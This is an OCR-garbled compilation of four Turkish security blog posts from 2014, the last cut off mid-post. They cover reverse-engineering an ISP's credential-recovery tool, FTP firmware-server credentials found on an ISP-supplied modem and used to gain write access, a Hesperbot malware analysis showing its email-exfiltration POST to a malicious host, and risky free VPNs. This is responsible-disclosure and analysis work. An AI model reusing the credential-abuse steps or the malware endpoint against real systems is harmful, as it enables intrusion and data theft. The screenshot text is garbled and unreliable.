Kullanici Dostlugu vs Kullanici Giivenligi

Source: https://www.mertsarica.com/kullanici-dostlugu/
By M.S on August 1st, 2014

P

Hemen hemen her bilisim giivenligi uzmam (janjanl adiyla siber giivenlik uzmani) c¢aligma hayati boyunca ilettigi giivenlik
gereksinimleri, aksiyonlar nedeniyle su ciimleleri en az bir defa duymustur, "Bu zamana kadar basimiza ne geldi ki ?", "Buna
gergekten gerek var mi ?" Bu yaklagimin aslinda bu zamana kadar trafik kazasi yapmamis bir kisinin aracindaki giivenlik donanimini
sorgulamasindan pek bir farki yoktur. Bu hava yastigina gergekten gerek var mi ? Bu emniyet kemerini takmasam olur mu ? Rekabetgi
bir ortamda zaman zaman gelistirilmesi talep edilen giivenlik kontrolleri, alinmasi gereken giivenlik dnlemleri, ig birimleri tarafindan
maliyet ve siire arttiran adimlar olarak goriilebilmektedir. Kimi zaman ise mevcut giivenlik kontrolleri, miisteri memnuniyetini ve
kullanim kolayligimi arttirma adma isteyerek veya istemeden zayiflatilabilmektedir. Ozellikle bu tiir zayif noktalara sifremi hatirla,
sifremi unuttum gibi sayfalarda rastlanabilmektedir.

Hatirlayacaginiz lizere gectigimiz yazimda, bir sohbet iizerine incelemeye basladigim modemim iizerinde giivenlik adina sikinti
yaratabilecek bazi tespitlerimi paylasmistim. Bu yazimda da, modemim {izerinde ¢aligmalar yaparken tesadiifen karsilastigim ve internet
hizmeti aldigim internet servis saglayicisi (ISS) ile paylastigim bir giivenlik zafiyetini, giivenlik farkindaligini arttirmak amaciyla sizlerle
paylasma karar1 aldim.

Caligmalar esnasinda modemi fabrika ayarlarina dondiirdiigiimde ISS'in beni sifre unuttum sayfasina yonlendirdigini gérdiim. Bu
sayfada, ISS'in hazirlamis oldugu uygulamayi indirip, ¢alistirmam durumunda, modemimin ADSL kullanict ad1 ve sifre bilgilerimin bu
uygulama tarafindan otomatik olarak modeme girilecegi bilgisine yer veriliyordu.

6. @ bilgiEmRcom.tr/hatali_kullanici_adi_sifre e n" Google »p * 8 & A =

& Most Visited | Getting Started

KULLANICI ADI VE SIFRE UYARI SAYFASI

Deferli [ miisterimiz,
ADSL kullamo adi veya sifre hatas nedeniyle intemete badi Mod sstem tarafindan destekdenen bir model
) e, bu sayfayi birkte yukienecek[ JExe bieseni modemnizde olmasi gereken ADSL kulania adi ve sfreyi
ayartayacaktr. =
Bu bilegen;

-

Kesinlikle herhangi bir kigisel bilgi toplamamaktadir.

v

Modem yonetim paneli erigim gifrenizi dedigtirdiyseniz sistem bu sifreyi sizden talep edecektir.

Ayarlanniz baganl bir sekilde yapilarak badlant: sadlandijinda sayfa sizi otomatik ola-cl.=F|atwk Cozim
uygulamasina yonlendirecektir.

w

w

Bu iglem 3-5 dakika sirebilir, ekrandaki yonergeleri takip ederek bekleyiniz.

= Exe'yi yikleyebimek icin tarapnonezda gkan uyan kutucufundaki "Onay” butonuna tklamane gerekmektedr.

[ E&xe uygulamas: kurulacak, onayliyor musunuz?

ADSL kullanic adi veya sifrenizi dogru girdiginizden emin olun!

ADSL kota sorgulama sayfasndan veya baska bir kanaldan ADSL kulamico adin@ ve sifrenizi dedtirdiyseniz, bu deJsikddi modem
araylizinde de yapmaksnz. Bu gincellemeyi modem araylziinde yapmazsane, herhangi bir web sitesine erigmeyi denedijinizde
otomatik olarak bu sayfaya ("Kullanio adi ve sifre uyan sayfasi”) yonlendiriirsini.

Yazimin baginda da belirttigim gibi bu tiir otomatik sifre hatirlama, sifre girme gibi kullanici dostu araglar, giivenli tasarlanmadig
taktirde giivenlik zafiyetlerine yol agabildigi i¢in uygulamayi sistemime indirip, Immunity Debugger ve Charles Proxy araglari ile kisaca
incelemeye karar verdim. Uygulamay1 ¢alistirdiktan sonra ilk olarak Charles Proxy araci ile ag trafigini inceledigimde, uygulamanin
bilgi.xxxxx.com.tr sunucusu ile haberlestigini ve bu sunucudan sifreli bir igerik aldigini gérdiim. Uygulama iizerinden Baslat butonuna
bastiktan sonra ise uygulamanin ISS'in hediye olarak verdigi belli bagli marka, model modemlerin yonetici (admin) arayiiziine varsayilan
(default) kullanici adi ve sifreler ile baglanmaya c¢alistigini gordiim. Yonetici paneline basariyla giris yapamadig: taktirde ise dogru
kullanic1 adimi ve sifremi girmemi istiyordu.
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Bu uygulamanin amaa modeminize |l ADSL Kullania Ad ve
Sifrenizi otomatik olarak ayarlamaktr,

Calstrmak icin Baslat’a tklayiniz.

= BASLAT KAPAT

Modeminize erisim sadlaniyor, litfen bekleyiniz,

m iPTAL

File Edit Wiew Proxy Tools Window Help
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Overview | Request |Resp0nse || Surmary || Chart || Notes|

= @ btk bl Bl o, b
: -l hatali_kullanici_adi_sifre/

b o FigFil 3
@ ReportData. aashxrConfiglD=0&5tatus=21
@ ReportData, aashx?ConfiglD=08Status=22
@ ReportData, aashx?ConfiglD=08&5tatus=16
@ ReportData, aashx?ConfiglD=0&Status=7
@ ReportData, aashx?ConfiglD=08Status=7
=g http:fi192.168.114.2
[+ htmlf
| coi-bing
[+ Forms|
(- indexf
[
£

|l goform
t-|[ haa/
- § =defaules
- § =defaules
- § =defaules
- § =defaules
-~ <default=
- § =defaules
& <defaule>
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- §& «default>
- § =defaules
- § =defaules
- § =defaules
- § =defaules
- P <default=
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- <default>
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GET htkp: hilgi Il com. trfhatali_kullanici_adi_sifre/EetConfigFile. ashx HTTR(1,1

Accept: textfhtml, application)<html-+:xml, applicationfxml;q=0.9,**;q=0.5

Accept-Encoding: gzip, deflate,sdch

Pragma: no-cache

Authkey: 93142ECAZ7 180F39AF3970E1 1 CeB4ESDSCIDCF4C90FCERSZSCDBDIDSSCIS327C
Wersian: 2

CallType: 1

User-fgent: =

Hast: bilgi Il cam.tr

| Headers | Raw

POST http:ibilgi Jmlicom trhatali_kullanici_adi_sifre/Report Data aashz?Contigl D=0&5tatus=7
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Uygulamay1 incelemeye devam ettigimde, uygulamanin sunucudan indirdigi sifreli igerigi, dosya sistemi iizerinde configdata.xml adi
altinda bir dosyaya sifreli olarak kaydettigini gérdiim.
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Bu uygulamanin dogru ADSL kullanici ad1 ve sifremi nasil indirdigini ve bu bilginin bu sifreli dosya i¢inde yer alip almadigini 6grenmek
icin uygulamay1 Immunity Debugger ile incelemeye basladim. Web trafigi ile ilgili fonksiyonlar1 biraz inceledikten sonra indirilen
bu sifreli igerigin aslinda hangi marka model modemlere, hangi varsayilan yonetici (admin) kullanict adi ve sifre ile baglanacag:
bilgisi oldugunu gérdiim. ADSL kullanici adim ve sifrem ile ilgili olan fonksiyonu aramaya devam ederken ¢ok gegmeden sunucudan
sifreli bilgiyi alan ilgili fonksiyonu buldum. Incelemem sonucunda, ADSL kullanici adimin ve sifremin, uygulama tarafindan ¢agrilan
GetConfigFile.ashx sayfasina, sunucu tarafindan doéniilen yanitta yer alan ParamHeader bagliginda sifreli olarak yer aldigimi gordiim.
Ilk dikkatimi ¢eken sikintili nokta, uygulamayi ¢alistirip Baslat butonuna basmasam bile, bu uygulama gidip bu istegi otomatik olarak
sunucuya gonderiyor ve sifreli ADSL kullanici adi ve sifremi sunucudan aliyordu. Bu durumu, PIN/Sifre korumas: devrede olmayan cep
telefonunuzu ¢aldirdiginizda, art niyetli kisinin cep telefonunuzdan bankanizin ¢agri merkezini arayip herhangi bir dogrulama adimindan
gecmeden kredi kart1 veya bankamatik kartmizin PIN'ini 6grenebilmesine benzettim.

Sistemime bulagmis bir zararli yazilimin, sifreli ADSL kullanict adi ve sifremin agik/sifresiz haline ulasmasinin ne kadar kolay olup
olamayacagini 6grenmek i¢in bu defa uygulamanin aldig sifreli bilgiyi ¢6zen (decrypt) ilgili fonksiyonu aramaya basladim ve ¢ok
geemeden fonksiyonu buldum. Zararli yazilimin sifremin agik halini ele gegirmesinin ne kadar kolay olabilecegini anlamak igin
izleyebilecegi yollar lizerine biraz diisiinmeye basladim. Aklima gelen ilk ii¢ yol; 1-) Sifre ¢6zme fonksiyonunun algoritmasini anlayip,
baska bir programlama diline ¢evirecek 2-) Code cave yontemi ile akigi kodun farkli bir yerinde olusturdugu koda gonderecek 3-)
Uygulama tizerinde diske veri yazmak i¢in kullanilan API'ler (WriteFile, CreateFile) var ise uygulama yamalanarak (patch), sifrenin
¢oOzlilmiis halinin bu API'lere yonlendirilecek ve sifreli bilgiler agik olan diske yazilacak
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Amacim olasi giivenlik zafiyetini tespit etmek ve durumu ISS'e bildirmek oldugu i¢in kolay yolu yani 3. yolu segmeye karar verdim.
Uygulamanin sunucudan sifreli bilgileri aldigini ve bunu configdata.xml dosyasina kaydettigini bildigim i¢in sifresi ¢oziilen bu
bilgileri configdata.xml dosyasina yazan fonksiyona yonlendirdim ve uygulamayi bu haliyle diske kaydettim. Yamalanmis uygulamay1
calistirdigimda artik uygulama sifreli bilgileri sunucudan aliyor ve diske kaydediyordu.

“ Immunity Debugger - e Exe - [CPU - main thread, module S—|

€| Fle Vew Debug Plgrs Imnlb Optiors Window Help Jobs

_..h_ﬂ«xbll MYHlid] 1l emtwhcPkbzr.

Go to address in Disassenbler Paused

[ —_— | s— | - |7 [x]

W C:\Documents and Settings\All Users\Application Datal iconfigdata.xml - Notepad- +
Fle Edt Seawch View Encodng language Settings Macro Run Plugns Window
n g t X E )’ U] . L]

corfigrata wmi
1] - U S E R  — e : PAS 5= e ¢

ISS tarafindan kullanici dostu olarak miisterilerinin hizmetine sunulan bu uygulama aslinda istemeden de olsa art niyetli kisilerin (6rnegin
ortak sifre ile cafeden kablosuz ag kullanan bir kisi) veya zararli yazilimlarin kullanicinin ADSL hizmet numarasi, adsl kullanici adi ve
sifresine kolaylikla ulasabilmesini sagliyordu. Vakit gegmeden, POC i¢in ¢ektigim video da dahil olmak tizere elimdeki tiim bilgileri ISS
ile paylasarak zafiyet bildiriminde bulundum ve bir zafiyet daha art niyetli kisiler tarafindan kotiiye kullanilmadan 6nce tespit edilmis
oldu.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Hediye Modemler Ne Kadar Giivenli?

Source: https://www.mertsarica.com/hediye-modemler/
By M.S on July Ist, 2014

=
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Bir 6gle vakti is arkadaslarimla yiirlirken, internet servis saglayicilarinin (ISS) miisterilerine dagittigi modemlere ISS calisanlarinin
uzaktan baglanabilecegi ile ilgili bir konu agiliverdi. Ben de cihaz yaziliminin (firmware) giincellenmesi durumunda ISS'in modemlere
nasil erisim saglayabileceklerini sorgularken, bir arkadasim cihaz yazilimi giincellemesinin de ISSler'in sunuculart iizerinden
gerceklestigini belirtti. NSA'in cihaz yazilimlarina (firmware) arka kapi yerlestirdigi, devletimizin ISSler iizerinden SSL trafigin araya
girilmesini planladigi su giinlerde, ISSler verdigi modemleri kullanmak ister istemez insanin aklinda soru isaretlerine yol agiyordu. Bu
zamana dek ISS'in hediye ettigi modemi kullanan ve bu konuyu irdelememis bir giivenlik uzmani olarak eve gider gitmez Zyxel marka
modemime kisaca g6z atmaya karar verdim.

[k yaptigim is modemin web arayiiziine baglanip, yeni cihaz yazilimi kontroliinii gergeklestirmek oldu fakat bu kontroliin Zyxel'in kendi
resmi sunucularindan mi1 yoksa ISS'in sunucularindan mi1 gergeklestirildigini arastirmak oldu.

zyXEL _ Language : E Logout

Firmware Upgrade

Firmware Upgrade is where you can update the device with newly released features by upgrading the latest firmware. You can download the [atest firmware file from the manufacturer wabsite of this
device

Upgrade Firmware

Current Firmware Version :

FilePath Choose File | Nofile chosen

Firmware Upgrade from Auto Provisioning Server
Check on Server (force auto firmware upgrade to check the auto provisioning server
Check

Upgrade from server (inactive unless there is a firmware avaliable

Web arayiiziinden bununla ilgili edinilecek bilgi olmadigindan 6tiirii bunun i¢in ya modemin tiim trafigini izleyecektim (sniff) ve ipucu
elde etmeye calisacaktim ya da modemin arabirimi (console) tizerinden komutlar ile bunu dgrenecektim. Kolay yoldan ilermeye karar
vererek modeme telnet ile eristim ve destekledigi komutlari teker teker incelemeye basladim.

Sizma testi uzmani olarak switch ve routerlar ile az ¢ok hasir nesir olmus biri olarak dikkatimi ilk ¢eken show komutu oldu. Bu komutun
cogunlukla cihaz iizerindeki konfigiirasyon bilgilerinin, anlik trafik bilgilerinin goriintiilenmesi i¢in kullanildigini bildigim igin show
hosts komutunu ¢alistirdim ve ardindan modemin o esnada iletisim kurdugu tiim adresleri gérebildim.

N Telnet 192.168.1.1 S “

l login: admin
Password:
Mo entry for terminal type "wtl1B2"';
uzing dumb terminal settings.

conf igure copy dizahle exit
rehoot release renew show
traffic—mirror

ZySH> show

ZySH> show

larp hosts interfaces dip memory processes
version

ZySH> show hosts

Address
199 .16.156 .38

twitter.com 199.16.156.78
4294967266

twitter.com 199.16.156.238
4294967266

twitter.com 199.16.156.6

Amacim giincel cihaz yaziliminin nereden kontrol edildigi bilgisini 6grenmek oldugu ig¢in, modemin web arayiiziinden cihaz yazilimini
kontrol et butonuna bastim ve ardindan telnet arabirimi tizerinden show hosts komutunu galistirarak, cihaz yazilimiin kontrol edildigi
sunucuyu aramaya bagladim. Cok gegmeden ftp.xxxxx.com.tr adresi dikkatimi ¢ekti. FTP bilindigi lizere giivenli olmayan (kullanici adi
ve sifre ag lizerinden sifresiz olarak iletilmektedir) bir protokoldiir. FTP iletisimini goriince aklima hemen iki soru geldi ?

1- Trafiginizi izleyen NSA, cihaz yazilimi kontrol butonuna basildiktan sonra sunucudan size gelen cihaz yazilimim arka kapi ytikli
olan bir yazilim ile degistirebilir mi ?

2- FTP kullanict ad1 ve sifresi modemin iizerinde tutuldugu i¢in bunu ele geciren NSA, bu kullanici ad1 ve sifre ile cihaz yaziliminin
bulundugu sunucuya erisip, oradaki cihaz yazilimini arkakapi yiiklii olan baska bir yazilim ile degistirebilir mi ?

Bu sorulara yanit aramak icin FTP kullanici adi ve sifresini modem {iizerinden 6grenmek icin ise koyuldum. Yine tiim modem trafigini
izlemek yerine komutlar iizerinden ilerlemeye karar verdim. Cok ge¢gmeden autofwup komutunun FTP sunucusuna baglanmak i¢in
gerekli bilgileri (kullanici adi: zyxeluser) gosterdigini buldum.
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File Edit View Options Transfer Script Tools Window Help
5 ) L) G0 2 Erter host <Al LN el FRY 6
% Modem X % Kal

— i
Password:

No entry for terminal type "vri02";
using dumb terminal settings.

show running system information
traffic-mirror [enable|disable] <interface: nasx, ptmx, ethx, pppx> <lan-ip>

ZySH>

clear - Reset functions

configure - Enter configuration mode

copy - Cof from one file to another

disable - Exit privileged EXEC mode

exit - Close an active terminal session

history - Display or clear CLI history

reboot - Shutdown and perform a cold restart

release - perform an immediate release of a Dynamic Host Configuration Protocol EDHCF) lease for an interface
renew - perform an immediate renewal of a Dynamic Host Configuration Protocol (DHCP) Tease for an interface

show
traffic-mirror

ZysH> configure terminal
config$ auto

config$ autofwup

<«<R> |

config$ autofwup

autofwup$show

autofwup$show

autofwup$show config

Active: %

ServerAddr: tp.F.cm. tr
username: zyxeluser
Password:

Directory:

FileName: .txt
Interval: 720
Notification: 1

autofwup$s

Modemime verilen yetki dahilinde, bu kullanict adi ve sifre ile FTP sunucusuna baglandigimda, bu sunucu iizerinde Zyxel marka
modemlere ait olan cihaz yazilimlarinin tutuldugunu gérdiim. Bu kullanicinin sunucuya veri yazma yetkisi olup olmadigini gérmek i¢in
sunucuya bir metin belgesi (m.txt) yiikledim fakat yetkim olmadigi i¢in hata aldim. Diger cihaz yazilimlarinin bulundugu klasorlere goz
attigimda, bazi dosyalar i¢inde modemlerin yonetici yetkisi (kullanici adi: zyxealadmin) ile bu sunucuya baglanabildiklerini goérdiim. Bu
kullanici ad1 ve sifre ile FTP sunucusuna baglanip yine bir metin belgesini (m.txt) sunucuya yiiklemeye ¢alistigimda bu defa basariyla
yiikleyebildigimi farkettim. Bu durumda tiim cihaz yazilimlarin1 degistirebilecek yetkiye sahiptim.

Dosya Dizenleyn Gérdndm  Aktanm  Sunwcu  Yerbmien  Yarchm

Rl Vi SRR AR Y

Sunuas Wuarso Adk: Parola: Kagn: Fih balann | ¥

E;:.nasht'mu LocalTTemp \fz Jtemp- 1 \empty_file_yq744om kargya yudemesne baglarsyor -
~

227 et
153 Connecton
@ aktarid, 0 bayt/1 sanvye kadan sktarid v
[ TRt U — R — R g — .
Yarel ste: | C: sers paert Desctog [l v | Unsktais ste: | — v
" - 1 ]
Tor Browser 1
?
B4 o 7
Documents 1
&g Downloads )
& [Lr Fovortes oo 1 sl
Dosys Adv. Boyut Tip Son degupikik A | Dosys Ade % Boyut Tip Son degeykik Izinbes Sahip/Geup
| e [ 18984768 BIN File 3122013 004847
—cm 312402 ROMFile 3122013 00:46:48
L 0 TextDocu...
Pt 0 TetDocu.. 3.12.201300:50:28
[ — 0 TetDocu.. 3122013 00:51:33
25 kaser 5 dosys. Toplam boyut: 19.297.170 bayt

ISS'in miisterilerinin giivenligi adina hemen bu durumu ISS yetkilileri ile paylagsmaya (responsible disclosure) karar verdim. Paylagimda
bulunduktan kisa bir siire iginde ISS yetkililerinden durumu arastirdiklarina dair bir yanit geldi. Bir giin sonra ISS'ten gelen nihai yanitta
ise modemlerin cihaz yazilimi kontroliinii ve yiiklemesini farkli bir ydontemle yaptigi, bunun yedek yontem oldugu ve yedek olmasina
ragmen FTP kullanici adi ve sifresinin yiiriirliikkten kaldirildig: bilgisi yer aliyordu. Buna ilave olarak cihaz yazilimlar degistirilse dahi,
modemin olas1 bir degisiklige kars1 (muhtemelen cihaz yazilimlar gelistirici tarafindan imzalaniyor) yazilimi yiliklemeden dnce kontrol
ettigi bilgisi paylasilmigti. (Kendilerine hem hizli geri doniis yaptiklar: hem de aksiyon aldiklari igin tesekkiir etmeyi ihmal etmeyelim.)

Tabii bir giivenlik uzmani olarak bu yaniti okudugumda aklima asagidaki sorular geldi;

1- FTP {izerinden cihaz yazilimi giincellemesi yedek yontem ise yazilimi kontrol et butonuna basildiginda neden birincil yontem
kullanilmryordu ?

2- Sosyal miithendislik saldirisi ile hedef kullaniciya bir e-posta gonderilse ve yeni giincelleme i¢in bu botuna basin denilse ve dncesinde
de bu FTP sunucusunda ilgili yazilim baska bir zararli yazilim ile degistirilse (imzali oldugu diisiiniilse) modem yiikleme yapmayacak
miydi ?

3- Zyxel marka modemler disinda diger marka modemler de ayni sekilde FTP sunucusu iizerinden bu kontrolil yapiyor muydu ?

4- Cihaz yazilimi kontrolii, Zyxel marka modemler disinda diger marka modemler tarafindan da yapiliyor mu ?
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Bu kisa siireli ¢aligma ile ISSler'in bize hediye etmis oldugu ve iizerinde ISSler'e 6zel cihaz yazilimlarin ¢aligtigi modemleri kullanmadan
once iyi diisinmemiz gerektigini 6grenmis oldum.

Bir sonraki yazida goériismek dilegiyle herkese giivenli giinler dilerim.

Rehber Hirsi1zi Hesperbot

Source: https://www.mertsarica.com/rehber-hirsizi-hesperbot/
By M.S on June 2nd, 2014

e

Son 1.5 yildir hiz kesmeden sahte fatura e-postalar1 ile agina internet bankacilig1 kullanicilarini diisiirmeye ¢alisan Hesperbot i¢in son
aylarda daha fazla mesai saati harcadigimi farkettim.

Son salginlarin cogunda, ayni tip sahte Turkcell fatura e-postasinin gonderilmesine, art niyetli kisilerin fatura ve Turkcell kelimelerinden
olusan alan adlarini kullaniyor olmasina ve bankalarin bununla ilgili uyar1 mesajlar1 gonderiyor olmasina ragmen, kullanicilarin hala bu
oltaya diisliyor olmalar1 da, hem kurumlar hem de medya tarafindan Hesperbot'a daha fazla dikkat ¢ekilmesi gerektigini gosteriyordu.
(Heartbleed viriisii gibi trajikomik haberlere imza atan medyamiz, Hesperbot ile ilgili daha ¢ok haber yer vermis olsaydi eminim bu
zamana dek daha az vatandagimiz bu dolandwricilarin tuzagina diismiis olurdu!)

Hesperbot'un en son salginda kullandigi sahte e-posta mesajini ve zararli yazilimi yaymak icin kullandigi web sitesini asagida
gorebilirsiniz.

Sahte Fatura E-postasi:
I e (L] w ISRITHTIET Tuskuell £-Fatura Sereni - Message (HTML) (Read-Ondy ——
o
# TURKCELL
-

Turkcell e-fatura

Faturanzia Byl detoyh by (@) [l Octerme talimats varmek ic:

o)

Sahte Fatura Web Sitesi:
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ESET'in Hesperbot raporu incelendiginde, zararli yazilimin hedef sistemden e-posta adreslerini ¢aldig1 ve uzaktaki sunucuya bu bilgileri
ilettigi belirtiliyordu fakat bununla ilgili teknik detaylara yer verilmemisti. Hesperbot'u detayli bir sekilde incelerken, bulastigi sistemdeki
e-posta bilgilerini nasil ele ge¢irdigini ve uzaktaki sunucuya nasil génderdigini inceleme firsatim oldugu i¢in bunu sizlerle de paylagsmak
istedim.

Hesperbot'un hedef sisteme bulastiktan bir zaman sonra zararli yazilimi yaymak amaciyla kullanmis oldugu sunucudan ege.xe adinda
bir yazilim indirdigini tespit ettim. Paketlenmis (packed) olan bu yazilimin uzantisini .exe olarak degistirip her zamanki gibi Immunity
Debugger araci ile incelemeye basladim. Zararli yazilimi paketinden ¢ikardiktan sonra ilk is olarak karakter dizilerini (strings)
incelemeye basladim.

+ Immunity Debugger - 014E0000.exe - [Text strings referenced in _014E000:.text]
Eﬁile Wiew Debug  Plugins  Immlib  Options  Window Help  Jobs
[OHERE «x[p N H2EEY+ 1 emtwhcPkbzr..

Dizsassembly Text string

WABOpen fonksiyonundan bunun adres defterinde yer alan e-posta adres bilgilerini c¢aldigini tahmin etmem pek gilic olmadi.
Immunity Debugger ile yazilimi ¢aligtirdigimda herhangi bir HTTP trafigi olusturmadiginda birgeylerin ters gittigini anladim. Yazilim
caligmasina ragmen herhangi bir web trafigi tiretmemesi nedeniyle bir yerlerde kisir dongiiye girmis olabileceginden siiphe ederek
PAUSE butonuna bastim. Ardindan kendimi ntdll.dll i¢inde buldugum icin Debug -> Execute till user code ile yazilimin koduna
gecis yaptim. Sistem {izerinde yiiklii olan Outlook iizerinde gecerli bir profil olmadig1 i¢in ¢agirilan MAPILogonEx fonksiyonunun
[MAPI E LOGON_FAILED(80040111)] hata almas1 nedeniyle kisir dongiiden ¢ikamadigini gérdiim ve akisin POP EDI komutu
iizerinden devam etmesini sagladim. Akigin devam edebilmesi adina Outlook'un adres defterine 2 adet kayit girdim ve programin devam
etmesini sagladim.
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. Immunity Debugger - _014E0000.exe - [CPU - m. read, module 014E000]
File Wiew Debug Pugins Immlib Options Window Help  Jobs

lemtwhocPkbzrczt.s?

MAFIUninitiali

FTR D¢

Address

Yazilim son siirat ¢aligtiktan sonra olusan trafigi Wireshark ile izledigimde, uzaktaki sunucuya (http://turkcell-efatura.net/cpmag/
mail.php) gonderilen e-posta bilgilerinin okunamaz halde (encoded) gonderildigini gérdiim ve bu fonksiyonu bulmaya karar verdim.
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P

File Edit Wiew Go Capture Analyze Statistics Telephony Tools  Internals  Help

e ® g B2 QAesnF L (|EE QQQH| BB R
Filter: | ip.dst == 194,58.47.21 “ | Expression... Clear Save
Mo, Time Source Destination Protocol  ‘Length  Info
158 12.6275200152.1658.114.128 154, 58.47.21 TCP 62 dcs > http [SYN] Seq=0 win=64240 Len=0 MSS=1460 SACK_PERM=1
160 12.7428610152.1658.114.128 154,58.47.21 TCP 54 des > http [Ack] Seg=l Ack=1 win=64240 Len=0
161 12.7747630152.1658.114.128 154,58.47.21 HTTP 269 POST Scpmagsmail. php HTTR/1.1
172 13.75312201592.168.114.128 194, 58.47.21 TER 54 des > http [ACK] Seq=216 Ack=187 wWin=64054 Len=0

Follow TCP Stream

Stream Content

POST Scpmag/mail. php HTTRAL.1
Host: turkcell-efatura.net
Cache-Cantrol: no-cache
Content-Length: 108

MMCCO0pR. . 22. . rr. . 0055<<QQ} F00. . CCNNDD) JLL>>313dd. . vy, .mm. . 00/ /HH¥XDD--AA0D. . CC. . " "00

Frame 158: 62 bytes on wirl | lux, ., .. >>11%%FF '%* HTTRP/1.1 200 OK
Ethernet II, src: vimware_& |server: nginx/0.8.54

Internet Protocol version Date: Mon, 14 Apr 2014 15:08:08 GMT
TRARERY e s en Cantre T Eratdl | [Content-Type: text/html; charset=utf-8
Connection: keep-alive

x-pPowered-By: PHP/5.3.3
Content-Length: O

* F F

Entire conversation {401 bytes) w

[ Find ][ Save As ][ Print ) EBCDIC ) Hex Dump O C Arrays O Raw

[ Filker Ot This Stream l [ Close l

0000 00 50 56 &1 8 1L 00

Immunity Debugger ile yazilim {izerinde biraz gezindikten sonra e-posta adreslerini gizleyen XOR islemini buldum. Bu islem ile e-
posta adresinde yer alan her bir bayt, bir sonraki bayt ile (mert.sarica 6rneginde m harfi e ile gibi) XOR islemine sokuluyor ardindan
islem tamamlandiktan sonra sunucuya gonderiliyordu.

< Immunity Debugger - _014E0000.exe - [CPU - main thread, module _014E000]

IC] Fle View Debug Plugins [mmib Options Window Help Jobs

hTE dxr n o H2A Y+ 1 emtwhcPkbzr.

-
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XOR islemi tersine ¢evrilebilir oldugu i¢in Python ile Hesperbot Email Decoder adinda ufak bir ara¢ yazarak ag trafiginden elde edilen
gizlenmis e-posta adreslerini okunur hale getirebildim.

hesp.txt - Notepad

1L‘~ 3433030707017177ATA1B1872721E1E38308535 ‘U 515170703830101043434E4E444429294CAC IEIEAAQABA641T1TT6 7604046
FOCACE3630E0E22226F 6FAARATETERC ‘u’ 2CTFTF3IE3E LI\J“\I 666627, H.’—h‘k!!“i!

= C:\Windows\system32\cmd.exe - olEN

Python file length : 1578 lines: 54 Ln:37 Col:65 Sel:0|0 Dos' Windows ANSI a3 UTF-8 INS

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Virtual Pirate Network (VPN)

Source: https://www.mertsarica.com/virtual-pirate-network-vpn/
By M.S on May lst, 2014

=

Tiirkiye, 20 Mart 2014 tarihinde Twitter'a erisime engelleneyerek, diinyada Twitter't Cin'den sonra yasaklayan ikinci iilke olarak tarihe
adma altin harflerle yazdirdi. Ardindan Twitter yasaginin nasil asilabilecegi konusunda yazili ve basili gorsel medya seferber oldu.
Kisa bir siire i¢ginde malum yasagin DNS tabanli oldugu ve basit bir DNS degisikligi ile bu yasagin kolaylikla atlatilabildigi anlasildi.
Hatta bazi haber kanallar1 canli yayinda DNS degisikliginin nasil yapilabilecegini adim adim gosterdi. Canli yayini kagiranlar ise DNS
adreslerini duvar yazilarindan 6grenebildiler :)

Benim gibi, Android yiiklii cep telefonundan Twitter'a girenler i¢in bu yasagi atlatmak pek kolay olmadi ¢iinkii rootlanmamus bir cihazda
(Android 4.4.2) kullanilan 3G baglant1 i¢in DNS degisikligi yapmak miimkiin degildi. Buna kars1 2 yontemden (cihazi rootlamak veya
bir VPN hizmetinden faydalanmak) biri izlenebilirdi. Cihazi rootlamak beraberinde ilave giivenlik riskleri getireceginden Gtiirii cihazimi
rootlamaya higbir zaman sicak bakmamistim, Twitter yasag1 nedeniyle de rootlamay1 tercih etmedim. Ucretsiz bir VPN uygulamasi
ile VPN hizmetinden faydalanma kismi ise pratik ve hizli bir ¢6ziim olarak goriinse de, tiim uygulama trafigimin bilinmeyen bir ag
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iizerinden gitmesine de gonliim pek el vermiyordu. Wifi ayarlar iizerinden DNS degisikligi yapilabildigi i¢in bir siire Twitter'a cep
telefonum ile WIFI aglar {izerinden giris yaptim.

Twitter yasagi soyle boyle atlatiliyor diye TIB'in goziine onlarca haber sokulduktan kisa bir siire sonra bu defa Twitter'in IP adresleri
yasaklanmaya basladi. Bu defa Twitter'in yasaklanmayan IP adresleri iizerinden Twitter'a baglanmak miimkiin olabiliyordu fakat yine
rootlanmamig bir Android cihaz i¢in ip adresi - host eslestirmesi yapmak (/etc/hosts) miimkiin degildi. Bu defa kendi VPN sunucumu
kurup onun iizerinden mi Twitter'm yasaklanmamis IP adreslerine cep telefonu iizerinden baglansam yoksa F-Secure'un Freedome
VPN uygulamasint mi1 kullansam derken aklima aylardir evde kuzu gibi yatan ve {izerinde Kali yiiklii olan 2. Raspberry PI geldi.
Kali tizerine OpenVPN sunucusu kurmak tam da géziimde biiytlirken Twitter tizerinden Gokhan POYRAZ'n atti81 bir tweet imdadima
yetisti. Gokhan'in blogunda yer alan strongSwan VPN uygulamasi kurulum adimlarindan hizlica gegtikten sonra Kali iizerinde basariyla
strongSwan'i kurdum. (GMP ve libgmp3c2 4.3.2+dfsg-1 armel.deb paketlerini ayrica kurmam gerekti.)

Herkesin elinin altinda benim gibi VPN uygulamasi kuracak hazir bir sistemi olmadig1 i¢in ¢cogu kimsenin iicretsiz VPN hizmetlerinden
faydalandigini farkettim. Ozellikle yakin gevremden gelen, hangi VPN uygulamasmi yiiklemeliyim ? Hangisi daha giivenli ? gibi
sorular karsisinda VPN kullaniminin halk arasinda ciddi derecede arttigin1 anladim. Tabii giivenilirliginden emin olunamayan bir VPN
iizerinden internet baglantis1 gergeklestirmenin getirdigi riskleri, VPN'i sadece Twitter yasagini atlatmak i¢in kullanan bir kullanic
kitlesine anlatmak ¢ok kolay olmadi.

Twitter yasagi nedeniyle VPN kullanimi arttiktan sonra giivenilir olmayan VPN sunuculari {izerinden sifrelerin ¢calindig ile ilgili haberler
okumaya basladik. Ardindan bankalar, giivenilir olmayan VPN sunuculari {izerinden gergeklestirilen bankacilik islemlerinin tehlikeli
olabilecegi ile ilgili giivenlik bildirileri yayinlamaya bagladilar.

Yeri gelmisken bankada ¢alisan bir giivenlik uzmani olarak, bankalarin miisterilerine sadece gerekli gordiikleri zamanlarda
(mevcut veya potansiyel giivenlik ihlalleri) giivenlik uyarilar: gonderdiklerini, dolayisiyla bu tiir uyarilarin bir miisteri olarak
biiyiik bir ciddiyetle dikkate alinmasi gerektigini belirtmek isterim.

Bu esnada yakin bir arkadasim, bu tiir (giivensiz VPN sunucularinim kullanimi) glincel konularla ilgili olarak neden birseyler yazmadigim
konusunda elestiri oklarini bir bir {izerime atmaya basladi. Ben de hazir Kali iizerine VPN uygulamasi kurmusken, art niyetli kisilerce
